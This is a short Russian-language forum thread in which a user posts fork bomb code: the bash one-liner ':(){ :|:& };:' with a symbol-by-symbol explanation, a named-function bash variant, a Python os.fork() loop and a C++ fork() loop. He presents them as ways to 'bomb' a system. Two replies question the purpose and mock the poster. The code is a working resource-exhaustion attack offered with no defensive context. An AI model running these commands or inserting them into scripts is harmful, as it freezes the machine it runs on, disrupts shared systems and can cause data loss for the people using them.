Создание Fork Bomb

Тема в разделе "PHP / Python / Ruby / Perl / JavaScript", создана пользователем Dogger, 5 окт 2019.

  1. Dogger

    Dogger Знающий
    Забанен

    Регистрация:
    7 авг 2019
    Сообщения:
    91
    Симпатии:
    81
    Розыгрышей:
    0
    Репутация:
    1
    Создания Fork Bomb с использованием bash
    В консоли Bash (в Linux-дистрибутивах):
    Код:
    :(){ :|:& };:
    :
    Описание кода:
    :( ) Определяет функцию.
    { Открывает функцию.
    :|: Загружает копию функции «:» в память.
    ‘:’ функция, вызываемая два раза, чтобы «бомбить» вашу систему.
    & вызов функции в фоновом режиме. Начинает поглощать системные ресурсы.
    } Закрытие функции.
    ; Разделителем команд.
    : Запуск fork bomb
    Выше предоставлен код рабочий, но не правильный. Так выглядит правильный код:
    Код:
    #!/usr/bin/env bash -x
    bomb() {
    bomb | bomb &
    };
    bomb
    Форк бомба в Python
    Код:
    import os
    while True:
    os.fork()
    Fork bomb на c++
    Код:
    #include <unistd.h>
    int main(void)
    {
    while(1)
    fork();
    }
     
  2. Eefrit

    Eefrit Участник

    Регистрация:
    8 дек 2017
    Сообщения:
    5
    Симпатии:
    2
    Розыгрышей:
    0
    Репутация:
    0
    Интересно, но не очень понятно назначение. Это же просто бесконечный цикл на питоне и плюсах, а в баше - бесконечная рекурсия. И зачем?
    И почему это называется "форк бомбой"?
     
    sanef нравится это.
  3. sanef

    sanef Бог флуда
    Забанен

    Регистрация:
    26 янв 2019
    Сообщения:
    1.555
    Симпатии:
    1.112
    Розыгрышей:
    8
    Репутация:
    32
    Это называется "чувак хочет кураторку"
     
Метки:

Поделиться этой страницей

  • Яндекс.Метрика
  • Рейтинг@Mail.ru